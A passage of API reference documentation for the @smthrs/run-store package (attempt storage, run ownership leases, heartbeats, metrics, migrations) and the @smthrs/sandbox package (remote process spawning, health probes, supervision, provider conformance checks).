Inserts the attempt row. `PutResult` is `Inserted`, `Upserted`, `ExistingSame`,
`Conflict`, `FenceLost`, or `RunNotFound`. `ExistingSame` is a byte-equivalent
replay, which makes a repeated `put` safe; object key order is ignored in that
comparison and array order is not. `Upserted` occurs only under
`putMode: "upsert"` and only while the existing row is still in progress.

#### get

```ts
const get: (id: AttemptId) => Effect<Option<Attempt>, AttemptStoreError>
```

The one unfenced operation. Absent optional columns come back as absent keys
rather than nulls, and every value is re-validated on the way out.

Every `AttemptId` parameter (`get`, `patch`) is admitted structurally: the store
reads only `runId`, `stepKeyDigest`, and `attempt` as own enumerable data
properties and ignores other own data fields, so an `Attempt` from `put` or
`get` passes directly as the id. A non-plain prototype, an enumerable accessor
on any key, or a missing or inherited id field is refused with
`invalid_attempt`.

#### listRun

```ts
const listRun?: (runId: string) => Effect<ReadonlyArray<Attempt>, AttemptStoreError>
```

Every attempt row of one run, ordered by step key digest and attempt, in one
read. Each row is what `get` answers for it. A resumed run's replay reads its
recorded attempts here once instead of one `get` per step. It is optional:
`AttemptStore.layer` implements it, `makeNoop` omits it, and a caller of a store
without it reads each attempt with `get`.

#### heartbeat

```ts
const heartbeat: (
  runId: string,
  stepKeyDigest: string,
  attempt: number,
  owner: OwnerId,
  nowMs: number,
  checkpoint?: JsonValue
) => Effect<HeartbeatResult, AttemptStoreError>
```

Proves the attempt is still moving and optionally saves the value it would resume
from. The checkpoint column is written with `COALESCE`, so omitting the argument
leaves the stored checkpoint alone. The stamp is monotonic. `HeartbeatResult` is
`Updated`, `FenceLost`, `NotFound`, or `StateChanged`, where `StateChanged` means
you own the run but the attempt is no longer in `inProgressStates`.

#### finish

```ts
const finish: (attempt: FinishAttempt, owner: OwnerId) => Effect<FinishResult, AttemptStoreError>
```

Moves the attempt to a terminal state. The target state must not be one of
`inProgressStates`. `FinishResult` is `Finished`, `FenceLost`, `NotFound`, or
`StateChanged`, so a second `finish` never overwrites the winning row.

#### patch

```ts
const patch: (id: AttemptId, patch: AttemptPatch, owner: OwnerId) => Effect<PatchResult, AttemptStoreError>
```

Rewrites the opaque fields without touching the lifecycle, on running and
terminal rows alike. `PatchResult` is `Patched`, `NotFound`, or `FenceLost`. It
is still fenced on run ownership, so a patch after the run settles reports
`FenceLost`.

### AttemptStore models

#### AttemptId, Attempt, FinishAttempt, AttemptPatch

Each is a `Schema.Struct` exported under its own name, with a `type` alias of the
same name for the decoded value:

```ts
interface AttemptId {
  readonly runId: string
  readonly stepKeyDigest: string
  readonly attempt: number
}

interface Attempt extends AttemptId {
  readonly state: string
  readonly startedAtMs: number
  readonly finishedAtMs?: number
  readonly heartbeatAtMs?: number
  readonly checkpoint?: JsonValue
  readonly error?: JsonValue
  readonly outcome?: JsonValue
  readonly meta: JsonValue
}

interface FinishAttempt extends AttemptId {
  readonly state: string
  readonly finishedAtMs: number
  readonly error?: JsonValue
  readonly outcome?: JsonValue
  readonly meta?: JsonValue
}

interface AttemptPatch {
  readonly checkpoint?: JsonValue
  readonly error?: JsonValue
  readonly outcome?: JsonValue
  readonly meta?: JsonValue
}
```

`runId`, `stepKeyDigest`, and `state` are durable text: non-empty, at most 1,024
UTF-16 units, no NUL, no lone surrogate. `attempt` and every timestamp are
non-negative safe integers, range-checked independently and never against each
other, so an attempt whose `finishedAtMs` precedes its `startedAtMs` persists as
written.

`meta` is required on `Attempt` and opaque: its shape belongs to the step
executor, and the store carries it unchanged. On `FinishAttempt` and
`AttemptPatch` an omitted field is left as recorded rather than cleared, so a
terminal transition never erases a value written mid-flight. `AttemptPatch` never
moves `state`, `startedAtMs`, or `finishedAtMs`.

#### JsonValue

```ts
const JsonValue: Schema.declare<Json>
```

The strict JSON value accepted as durable attempt data: plain objects and arrays
of finite numbers, well-formed strings, booleans, and null. Accessors, `toJSON`,
non-plain prototypes, cycles, sparse arrays, enumerable symbols, and ill-formed
text are refused. The store still takes an inert snapshot at effect start; this
schema is the declaration contract the other schemas share.

#### Options

```ts
interface Options {
  readonly inProgressStates?: ReadonlyArray<string> | undefined
  readonly maxCheckpointBytes?: number | undefined
  readonly putMode?: "insert" | "upsert" | undefined
}
```

| Field                | Default       | Meaning                                                                                           |
| -------------------- | ------------- | ------------------------------------------------------------------------------------------------- |
| `inProgressStates`   | `["running"]` | The states meaning "still moving". `heartbeat` and `finish` fence on membership.                  |
| `maxCheckpointBytes` | 1 MiB         | Largest encoded checkpoint. Must be between 1 and `maximumCheckpointBytes`.                       |
| `putMode`            | `"insert"`    | `"insert"` is first-writer-wins. `"upsert"` overwrites an in-progress row and reports `Upserted`. |

All three are validated, detached, and frozen when the store is built, so an
invalid policy fails at composition time.

### AttemptStore errors

```ts
const AttemptStoreErrorCode: Schema.Literals<
  ["invalid_attempt", "constraint", "decode_failed", "persistence_failed", "unknown"]
>

class AttemptStoreError extends Schema.TaggedError<AttemptStoreError>()(
  "@smthrs/run-store/AttemptStoreError",
  { code: AttemptStoreErrorCode; method: Schema.String; message: Schema.String; cause?: Schema.Unknown }
)
```

`unknown` is what `layerNoop` reports.

### AttemptStore constants

| Constant                 | Value   | Bounds                                                   |
| ------------------------ | ------- | -------------------------------------------------------- |
| `maximumCheckpointBytes` | 16 MiB  | The ceiling `Options.maxCheckpointBytes` may not exceed. |
| `maximumJsonDepth`       | 128     | Every attempt value.                                     |
| `maximumJsonNodes`       | 100,000 | Every attempt value.                                     |

Metadata, errors, and outcomes have no byte ceiling. Only the checkpoint does,
because a step that cannot checkpoint still runs.

### AttemptStore constructors and layers

```ts
const makeWith: (options?: Options) => Effect<Service, AttemptStoreError, DurableWriter | SqlClient.SqlClient>
const make: Effect<Service, never, DurableWriter | SqlClient.SqlClient>
const makeNoop: (overrides?: Partial<Service>) => Service
const layer: Layer<AttemptStore, never, DurableWriter | SqlClient.SqlClient>
const layerWith: (options: Options) => Layer<AttemptStore, AttemptStoreError, DurableWriter | SqlClient.SqlClient>
const layerNoop: (overrides?: Partial<Service>) => Layer<AttemptStore>
```

`make` is `makeWith()` with the defaults, whose validation cannot fail.

## Ownership

Liveness evidence, the checks that produce it, and the heartbeat supervision loop.

### OwnerId

```ts
interface OwnerId {
  readonly hostId: string
  readonly pid: number
  readonly nonce: string
}
```

Defined by [`@smthrs/journal`](/docs/reference/api/journal/), because it is the same token the
journal accepts on durable appends, and re-exported here so ownership callers
read one vocabulary. All three fields are compared in the same SQL statement as
every owned mutation.

### LivenessEvidence

```ts
const LivenessEvidence: Schema.Struct<{
  expectedOwner: OwnerId
  checkedAtMs: Schema.Number
  kind: Schema.Literals<["same-host-pid-dead", "cross-host-unreachable-stale", "lease-expired"]>
}>
```

| Kind                           | Accepted when                                                                                      |
| ------------------------------ | -------------------------------------------------------------------------------------------------- |
| `same-host-pid-dead`           | The observer and the recorded owner share a `hostId`. Admits a steal at once when the pids differ. |
| `cross-host-unreachable-stale` | The hosts differ.                                                                                  |
| `lease-expired`                | Any host. The strategy verifies this claim itself against the persisted heartbeat.                 |

Defined by [`@smthrs/journal`](/docs/reference/api/journal/)'s `Consensus`, because steal
requires staleness plus liveness evidence in every strategy, and re-exported
here. The one exception is `same-host-pid-dead` about another pid, which
proves the owner gone and needs no staleness. `checkedAtMs` must equal the consuming call's `nowMs` exactly, so a probe
cannot be replayed into a later decision.

### LivenessProbe, LivenessContext, LivenessCheck

```ts
type LivenessProbe<E = never, R = never> = (
  expectedOwner: OwnerId,
  claimant: OwnerId,
  checkedAtMs: number
) => Effect<LivenessEvidence | undefined, E, R>

interface LivenessContext {
  readonly claimant: OwnerId
  readonly heartbeatAtMs: number | null
  readonly nowMs: number
}

type LivenessCheck = (expectedOwner: OwnerId, context: LivenessContext) => Effect<boolean>
```

A `LivenessCheck` answers "is the recorded owner still working?", and answering
`true` refuses the takeover. A `LivenessProbe` is the evidence factory the store's
evidence-taking operations consume.

### sameHostIncarnation

```ts
const sameHostIncarnation: (expectedOwner: OwnerId, claimant: OwnerId) => boolean
```

Whether two identities are incarnations on the same host. The predicate a probe
applies before it inspects a pid.

### leaseLiveness

```ts
const leaseLiveness: (staleAfter?: Duration.Input) => LivenessCheck
```

The default check and the honest floor: an owner is alive while its persisted
heartbeat is younger than `staleAfter`, which defaults to `heartbeatStaleAfter`.
An owner with no recorded heartbeat is reported gone.

### sameHostPidProbe

```ts
const sameHostPidProbe: LivenessCheck
```

Asks this machine's process table with `process.kill(pid, 0)`, which sends no
signal. Only `ESRCH` is read as death; `EPERM`, any other error, and a pid that
is not a positive safe integer are read as life. A recorded owner on another host
is never probed and answers `false`, so the expired lease decides instead of
stranding that host's runs forever. Node hosts only.

### singleIncarnationLiveness

```ts
const singleIncarnationLiveness: LivenessCheck
```

For a host that runs one incarnation per host id: a Cloudflare Durable Object,
or a browser engine in the worker that holds its origin's Web Lock. An owner
with the claimant's host id and another `pid` or `nonce` is an earlier
incarnation, and answers `false` however fresh its lease. Every other owner,
the claimant included, is judged by `leaseLiveness()`. Two Node engines over
one database can share a host id, so Node hosts use `sameHostPidProbe`.

### heartbeatLoop

```ts
const heartbeatLoop: (
  runId: string,
  owner: OwnerId,
  options?: HeartbeatLoopOptions
) => Effect<never, never, RunStore>
```

Pulses every `heartbeatInterval` on the injected `Clock`, each pulse renewing
the `Consensus` strategy's lease through `RunStore.heartbeat`, and interrupts
itself when the fence is gone, so race it against the owned work with
`Effect.raceFirst`. A heartbeat outcome other than `Updated` is durable evidence
and interrupts immediately. An independent deadline bounds failing or stalled
writes by `heartbeatWriteTolerance`. At expiry it tries `RunStore.reconfirm`
for at most one `heartbeatInterval`: the same owner with no pending claim renews
the lease. Its `onReconfirm` receipt must finish within the remaining renewed
`heartbeatWriteTolerance` budget, measured from the timestamp sent to the store;
loss, error, or timeout interrupts.
Successful pulses re-arm that deadline from the timestamp supplied to the store,
not their completion time.

`RunStore.reconfirm` uses `Consensus.reconfirm` and mirrors the heartbeat
transactionally, with the same input validation and outcome type as `heartbeat`.
`options.onReconfirm(unconfirmedMs)` records each successful reconfirmation;
it leaves the owner and generation unchanged.

`options.onLapse(unconfirmedMs)` runs once when the lease lapses, before the
self-interrupt, with how long the lease went unconfirmed. A lost fence does not
call it. The engine's run driver uses it to record a `lease-lapsed` release cause.

### The heartbeat constants

`heartbeatInterval`, `heartbeatStaleAfter`, `heartbeatSkewAllowance`, and
`heartbeatWriteTolerance` are re-exported from `Ownership`. See
[Heartbeat](#heartbeat).

## RunStoreMetrics

Metric handles only; `RunStore` updates them as it decides each outcome, and the
counters appear in whatever registry the composition provides.

```ts
const claims: Metric.Metric<number, Metric.CounterState<number>> // "flows_run_claims"
const transitions: Metric.Metric<number, Metric.CounterState<number>> // "flows_run_transitions"
const heartbeats: Metric.Metric<number, Metric.CounterState<number>> // "flows_run_heartbeats"
```

Eight records map an outcome `_tag` to an attributed view of its counter, so an
update or a read is a lookup rather than a branch:

| Record         | Counter       | Keys                                                                                                |
| -------------- | ------------- | --------------------------------------------------------------------------------------------------- |
| `claim`        | `claims`      | `Claimed`, `NotFound`, `AlreadyClaimed`, `HeartbeatFresh`, `SnapshotChanged`                        |
| `claimAndOwn`  | `claims`      | the above with `Activated` for `Claimed`, plus `EvidenceRequired`                                   |
| `activate`     | `claims`      | `Activated`, `ClaimLost`, `SnapshotChanged`                                                         |
| `abandonClaim` | `claims`      | `Abandoned`, `ClaimLost`                                                                            |
| `recoverClaim` | `claims`      | `Recovered`, `NotFound`, `ClaimFresh`, `ClaimChanged`, `LivenessUnconfirmed`                        |
| `steal`        | `claims`      | `Claimed`, `NotFound`, `AlreadyClaimed`, `HeartbeatFresh`, `SnapshotChanged`, `LivenessUnconfirmed` |
| `heartbeat`    | `heartbeats`  | `Updated`, `FenceLost`, `NotFound`                                                                  |
| `transition`   | `transitions` | `Transitioned`, `FenceLost`, `NotFound`, `GuardFailed`                                              |

Each view carries `outcome` in snake case, and the `claims` views also carry `op`
(`claim`, `claim_and_own`, `activate`, `abandon_claim`, `recover_claim`,
`steal`). `RunStore` adds the `to` attribute to a transition at the update site,
because the target status is call input. A terminal transition also advances
`runThroughput` from [`@smthrs/observability`](/docs/reference/api/observability/). See
[Observe store outcomes](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/guides/observe-outcomes.md).

## Migrations

```ts
const set: DatabaseMigrations.MigrationSet
const run: Effect<ReadonlyArray<readonly [id: number, name: string]>, MigrationError | SqlError, SqlClient.SqlClient>
const layer: Layer<never, MigrationError | SqlError, SqlClient.SqlClient>
```

`set` owns `flows_runs`, `flows_attempts`, `flows_run_source`, and
`flows_run_changes` under the namespace `run-store` and
reserves migration id block 1000, so its ids can never collide with another
package's. `run` and `layer` install [`@smthrs/journal`](/docs/reference/api/journal/)'s set
ahead of it, because the SQL `RunStore` arbitrates ownership through the
journal's `SqlConsensus` and its `flows_consensus_leases` table. Compose `set`
with the other storage packages' sets and run them in one pass rather than
layering several migrators; [`@smthrs/engine-store`](/docs/reference/api/engine-store/)
already does.

The schema enforces the ownership invariants as SQL `CHECK` constraints, so no
writer, including one issuing raw SQL, can leave a half-owned row behind.

Migration 1003 adds a per-database source identity, monotonic revision triggers,
and cancellation acknowledgement. Every run-row mutation advances the revision
in its transaction. Existing rows receive baseline revisions; earlier mutation
order and acknowledgement are unknown. Deleted run IDs remain permanent
tombstones. See [Execution revisions](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/concepts/execution-revisions.md).

Migration 1004 (`0004_waiting_request`) adds nullable `flows_runs.waiting_request`
as JSON text, enforced by `json_valid`. Existing rows read as having no declared
request. The durable engine writes and clears it with the other waiting fields;
human tasks use it to publish the prompt, answer kind, and attempt budget.

Migration 1005 (`0005_run_progress`) adds nullable integer
`flows_runs.progress_at_ms`. Journal inserts touch the run at most once per
2,000 ms per run using database insertion time, advancing the existing change
feed during long action attempts. Durable and lossy entries both participate;
rollback undoes the progress update. Manual migration-set compositions must
install journal migrations before the run-store set.

## Heartbeat

`@smthrs/run-store/Heartbeat` is a leaf module re-exporting the four lease
durations from [`@smthrs/journal`](/docs/reference/api/journal/)'s `Consensus`, where every
strategy judges staleness against them. `RunStore` needs the staleness cutoff
and `Ownership` needs all four, and `Ownership` imports `RunStore`, so neither
could own them without the other restating them.

| Constant                  | Value      | What it governs                                                                     |
| ------------------------- | ---------- | ----------------------------------------------------------------------------------- |
| `heartbeatInterval`       | 1 second   | How often the supervision loop pulses.                                              |
| `heartbeatStaleAfter`     | 30 seconds | How old a persisted heartbeat must be before a peer may steal the run.              |
| `heartbeatSkewAllowance`  | 10 seconds | How far the owner's wall clock may lag a peer's before the reasoning stops holding. |
| `heartbeatWriteTolerance` | 19 seconds | How long an owner may keep working through failing heartbeat writes.                |

All four are `Duration.Duration`. The last is derived rather than chosen:
`heartbeatStaleAfter - heartbeatSkewAllowance - heartbeatInterval`, so an owner
interrupts itself before a peer may steal the run. See
[The heartbeat lease](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/concepts/leases.md).

## TestRunStore

The module exports one layer, which provides both services at once:

```ts
import * as TestRunStore from "@smthrs/run-store/test/TestRunStore"
import * as Effect from "effect/Effect"

const tested = program.pipe(Effect.provide(TestRunStore.layer), Effect.scoped)
```

`@smthrs/run-store/test/TestRunStore` provides the production run and attempt
stores over a fresh in-memory SQLite database, with the migrations applied before
either service is exposed. Node only, and scoped: the database closes with the
scope. See [Test against the real stores](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/guides/testing.md).

## Related reading

- [Fencing and ownership](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/concepts/fencing.md) for why competition is a value.
- [Durable values](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/run-store/docs/concepts/durable-values.md) for the admission boundary.
- [`@smthrs/journal`](/docs/reference/api/journal/) for the history half of durability, and
  [`@smthrs/engine-store`](/docs/reference/api/engine-store/) for the composed storage ladder.

`Ownership.heartbeatLoop` accepts `onPulse`, called only after a successful fenced heartbeat or reconfirmation. It must return promptly: a host dispatching external receipts forks them under its owned round, bounds their duration and prevents overlap. Lost fences and failed writes never emit this receipt.

---

# @smthrs/sandbox
https://smithers.sh/docs/reference/api/sandbox/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/docs)

> **Related APIs:** [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/plan`](/docs/reference/api/plan/)

`@smthrs/sandbox` adapts a provider a caller hands it onto Effect's host
services. The smallest composition adapts a spawn-only provider onto
`ChildProcessSpawner`:

```ts
import { RemoteChildProcessSpawner } from "@smthrs/sandbox"
import * as Effect from "effect/Effect"
import * as ChildProcess from "effect/process/ChildProcess"
import { ChildProcessSpawner } from "effect/process/ChildProcessSpawner"

const provider = RemoteChildProcessSpawner.TestRemote.make({
  scripts: { "echo hi": { stdout: "hi" } }
})

const program = Effect.gen(function*() {
  const spawner = yield* ChildProcessSpawner
  return yield* spawner.string(ChildProcess.make("echo", ["hi"]))
}).pipe(Effect.provide(RemoteChildProcessSpawner.layer(provider)))
```

The package depends on `@smthrs/kernel`, for `CommandLine` rendering and quoting alone, and on no other Smithers package: a sandbox is one way to satisfy Effect's `ChildProcessSpawner`, not a new host interface a caller has to learn. It bundles for the browser because host access arrives through a provider or through injected host services.

## Entry points

Every namespace is also its own subpath, and `./internal/*` is null mapped.

| Import                                      | Source                                                                                                                                           |
| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| `@smthrs/sandbox`                           | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sandbox/src/index.ts)                                    |
| `@smthrs/sandbox/RemoteChildProcessSpawner` | [src/RemoteChildProcessSpawner/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/RemoteChildProcessSpawner) |
| `@smthrs/sandbox/ProviderConformance`       | [src/ProviderConformance/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/ProviderConformance)             |
| `@smthrs/sandbox/Sandbox`                   | [src/Sandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/Sandbox)                                     |
| `@smthrs/sandbox/SandboxConformance`        | [src/SandboxConformance/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/SandboxConformance)               |
| `@smthrs/sandbox/SandboxMerge`              | [src/SandboxMerge/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/SandboxMerge)                           |
| `@smthrs/sandbox/DirectorySandbox`          | [src/DirectorySandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/DirectorySandbox)                   |
| `@smthrs/sandbox/CommandSandbox`            | [src/CommandSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/CommandSandbox)                       |
| `@smthrs/sandbox/ContainerSandbox`          | [src/ContainerSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/ContainerSandbox)                   |
| `@smthrs/sandbox/KubernetesSandbox`         | [src/KubernetesSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/KubernetesSandbox)                 |
| `@smthrs/sandbox/JustBashSandbox`           | [src/JustBashSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/JustBashSandbox)                     |
| `@smthrs/sandbox/MicrosandboxSandbox`       | [src/MicrosandboxSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/MicrosandboxSandbox)             |
| `@smthrs/sandbox/VercelSandbox`             | [src/VercelSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/VercelSandbox)                         |
| `@smthrs/sandbox/DaytonaSandbox`            | [src/DaytonaSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/DaytonaSandbox)                       |
| `@smthrs/sandbox/AwsSandbox`                | [src/AwsSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/AwsSandbox)                               |
| `@smthrs/sandbox/CloudflareSandbox`         | [src/CloudflareSandbox/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/CloudflareSandbox)                 |
| `@smthrs/sandbox/SandboxHealth`             | [src/SandboxHealth/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/SandboxHealth)                         |
| `@smthrs/sandbox/SandboxSupervision`        | [src/SandboxSupervision/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/SandboxSupervision)               |
| `@smthrs/sandbox/TerminalProtocol`          | [src/TerminalProtocol/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/TerminalProtocol)                   |
| `@smthrs/sandbox/SandboxTools`              | [src/SandboxTools/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/SandboxTools)                           |
| `@smthrs/sandbox/SandboxCommand`            | [src/SandboxCommand/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/SandboxCommand)                       |
| `@smthrs/sandbox/CiJob`                     | [src/CiJob/](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sandbox/src/CiJob)                                         |

## RemoteChildProcessSpawner

Provider acquisition is tied to the layer scope: interrupting an execution or a stream consumer closes that scope and therefore runs the finalizer installed by `Provider.open`. No `AbortSignal` crosses this seam.

The fault registry classifies provider `unavailable` and `timeout` failures as
`infra`; `spawn_error`, `not_found`, `unknown` and `aborted` are `bug`. A nested
registered cause retains its own classification. Repeat-safe actions without a
declared retry policy use the engine's bounded transient infrastructure policy.

A provider may add SDK details to `ProviderError.cause`, but it cannot create new host-visible failure kinds. The code set is closed, and one shared table normalizes each code onto the `PlatformError` reason that already means it: `timeout` becomes `TimedOut`, `unavailable` and `not_found` become `NotFound`, everything else becomes `Unknown`, under the `ChildProcess` module the sibling spawners name. `not_found` and `unavailable` stay apart in the provider vocabulary, where "absent" and "broken" are different facts; they say the same thing to a caller of a spawner, which is to try somewhere else, and a caller that needs the distinction reads the `ProviderError` back off `PlatformError.cause`. `Sandbox.fileSystem` is the one deliberate exception: there `unavailable` stays `Unknown`, because a filesystem's `NotFound` is load bearing (`exists` turns it into `false`) and a broken session must not read as an absent path.

`Provider.kill` and `Provider.ping` are optional, because a transport that can only post a command line has neither. A provider that implements them buys two things it cannot otherwise have: one command can be stopped without tearing down the session that runs it, and the session's liveness can be supervised. When `kill` is present the adapter maps `ChildProcessHandle.kill` onto it and signals a still-running command when its scope closes, ahead of the provider's own release finalizer; a process this side has already seen exit is left alone. When `kill` is absent the adapter refuses with a `BadArgument` `PlatformError` rather than pretending to have delivered a signal.

The command reaches the provider as the string `CommandLine.render` produces. `@smthrs/kernel`'s `proc:spawn` check is written against `CommandLine.resource`, which starts from that string and adds a `sh -c` wrapper for a shell line holding control syntax, an `env <NAME>… --` prefix for overridden environment names, and a `cwd <path> --` prefix for a directory outside the workspace. The two strings match only when none of those apply.

Unsupported semantics are declared rather than dropped. Each of these fails with a `BadArgument` `PlatformError` before the provider is asked to start anything:

| Refused                                                           | Why                                                                                                        |
| ----------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- |
| a stdin stream for a provider that does not declare `stdin: true` | the bytes would be silently lost                                                                           |
| a stdin stream on any stage of a pipeline but the first           | a later stage reads its predecessor                                                                        |
| `stdin: "inherit"`                                                | a local spawner hands the child this process's own standard input; a remote command would read EOF instead |
| additional file descriptors                                       | nothing carries them across                                                                                |
| a shell path, or `detached: true`                                 | the local host's vocabulary                                                                                |
| non-default pipeline routing (`from`, `to`)                       | the rendered line reaches the remote shell, not this adapter                                               |
| `kill` on a provider that declares none                           | no signal can be delivered                                                                                 |

`stdin: "pipe"`, `"ignore"`, and `"overlapped"` are accepted and all three mean the command reads no input, which is what they mean locally. A provider that declares `stdin: true` receives the command's input as one complete byte blob in `RemoteOptions.stdin`, never as a live pipe: collection is bounded at 16 MiB and the count runs as the bytes arrive, so an endless producer is refused at the bound rather than after it finishes. The handle's own `stdin` sink always fails, because there is no interactive channel either way. Output `pipe`, `ignore`, and `inherit` options and output sinks are applied by the adapter.

:::caution[Two divergences the error channel cannot report]
`extendEnv` is ignored, because the remote session's ambient environment never crosses the seam and `extendEnv: false` cannot clear an environment this side never held. `isRunning` answers from what this side has observed: the adapter forks a scoped observer of the provider's exit at spawn and memoizes it, so liveness turns `false` when that observation lands, which can lag the remote process by a scheduler tick but does not depend on a caller reading `exitCode`.
:::

The code set belongs to this seam, because a remote session goes wrong in ways a local spawn has no vocabulary for. Like the health reasons below, the codes are a stable public contract: a new kind of failure gets a new code rather than repurposing an existing one.

## SandboxHealth

`SandboxHealth` answers one question about a session that is already open: is the machine still there? It is a verdict vocabulary plus a probe, not a supervisor, so nothing here runs on a cadence. `SandboxSupervision` below is what probes on an interval and acts on the answer.

`probe` never fails: a failed ping becomes `Unhealthy(reason: "ping_failed")`, and a ping that outlives the deadline (5 seconds by default) becomes `Unhealthy(reason: "unresponsive")`. That is what distinguishes "sandbox dead" from "slow command": the probe answers within the deadline either way. `Unhealthy.component` is `"sandbox"`, so an "engine alive, sandbox dead" diagnosis is explicit rather than inferred from a generic provider error.

A failed ping is logged at debug level as the provider's `code` and its `message`, and the verdict carries that same message, bounded at 512 characters with control characters collapsed to spaces. The probe never logs the `ProviderError` object or its `cause`. Bundled SDK adapters keep raw vendor exception text in `cause` and use controlled ping failure messages. Cause omission is not message redaction: a custom provider must keep credentials and other sensitive data out of `ProviderError.message`, since both Debug logging and the verdict expose it. A host that wants the raw failure taps the ping it hands in (`Effect.tapError` on `PingProvider.ping`) and applies its own redaction.

Reasons, like the host error codes, are a stable public contract: never repurpose one, add one.

## SandboxSupervision

`SandboxHealth` reports a verdict; supervision is what acts on one. It holds a single provider session, probes it on `interval`, and retires it after `tolerance` consecutive unhealthy verdicts (default 1; one healthy answer resets the count). Retiring fails every pending operation and output consumer in the session with a `NotFound` `PlatformError`, the same reason a session that refused to open produces, because both say the same thing to a retry policy. Output consumers remain guarded after process exit until their own streams finish. Retirement then closes the session scope so the provider's finalizer runs, and lets the next command open a fresh session. That failure is the point: under the plain adapter a session that dies leaves its commands waiting forever, because a dead session is silent.

Retirement fails pending consumers and closes the provider scope uninterruptibly while holding the spawn permit. It then releases the permit and forks the reporter in the supervisor's scope, so a slow reporter delays neither new commands nor the heartbeat. Reporter failures are logged at Warn, and an interruptible reporter still pending after 30 seconds is interrupted on the platform timer. A provider release failure is logged at Warn with the session key; the retirement is still reported and probing continues for later sessions.

The session opens on the first command, not while the layer builds: a host that never spawns anything must not pay for a sandbox, and a provider that is down must fail the action that needed it rather than the composition root. An open that fails leaves the cell empty and closes its own scope, so the next command opens a fresh generation instead of replaying the first failure. A provider without `ping` is never probed, so wrapping one in supervision costs nothing and changes nothing.

```ts
import { SandboxSupervision } from "@smthrs/sandbox"

const spawner = SandboxSupervision.layer(provider, { interval: "10 seconds", tolerance: 2 })
```

## ProviderConformance

The contract a spawn-only provider must satisfy is stated as behavior, so your adapter can run the statement against the backend it actually talks to:

```ts
import { ProviderConformance } from "@smthrs/sandbox"

const violations = yield* ProviderConformance.check(provider, {
  writes: "sh -c 'printf hello'",
  output: "hello",
  fails: "sh -c 'exit 3'",
  failureCode: 3,
  runs: "sh -c 'sleep 60'",
  shell: true
})
```

`Commands.shell` defaults to `false`. Set it to `true` when the fixture strings are shell lines; the suite then renders them verbatim instead of POSIX quoting each whole string as one program token. `SandboxConformance.posixCommands` sets it for its POSIX fixtures.

The checklist:

| Check                       | What the provider must do                                                                                                                             |
| --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| `writes-its-output`         | `writes` puts exactly `output` on stdout and exits 0                                                                                                  |
| `reports-a-nonzero-exit`    | `fails` reports `failureCode` as an exit code, not as a failure                                                                                       |
| `delivers-standard-input`   | a provider that declares `stdin: true` hands the bytes to the command, proven by running `Commands.copiesStdin` (default `cat`) and reading them back |
| `answers-a-ping`            | a declared `ping` answers while the session is open                                                                                                   |
| `signals-a-running-command` | a declared `kill` stops a live process                                                                                                                |

The stdin check exists because the declaration is what makes the adapter hand the bytes over. A suite that took `stdin: true` at its word would pass an adapter that sets the flag and then ignores `RemoteOptions.stdin`, which is exactly the silent input loss the flag was added to close.

The kill check watches the process, not the call. A `kill` that returns success and leaves the command running satisfies the type and leaks a process inside the sandbox for every cancelled action, so the check waits for `runs` to stop and reports `the command was still running after the signal` when it does not. How it stopped is not the subject: a provider that reports a signalled process as a failed `exitCode` is as conforming as one that reports a status. `Commands.stopsWithin` bounds the wait, defaulting to `ProviderConformance.defaultStopsWithin` (5 seconds). The handle is only the wrapper, though, and a shell that dies while its child lives on satisfies every observation the handle allows, so a fixture may also name `Commands.survivor`: a command that exits zero while the signalled command's work is still alive. It runs in the same session after the exit is observed, and a zero exit is the violation `the command's work was still running after its handle reported it stopped`.

Every check runs under `CheckOptions.checkTimeout` (10 seconds by default), measured on the platform timer rather than the ambient `Clock`, and covering session acquisition and stream consumption as well as the call itself. A provider that never answers is convicted with a named violation instead of hanging the suite, and it is convicted under a frozen test clock too.

The checks run through `RemoteChildProcessSpawner.layer`, because a provider that satisfies the interface but not the adapter is of no use to a caller, and each check gets a fresh session so a check that leaves one unusable cannot decide the next. The optional capabilities are checked only when the provider declares them: an absent `ping`, `kill`, or `stdin` is a documented absence, not a defect.

## Sandbox

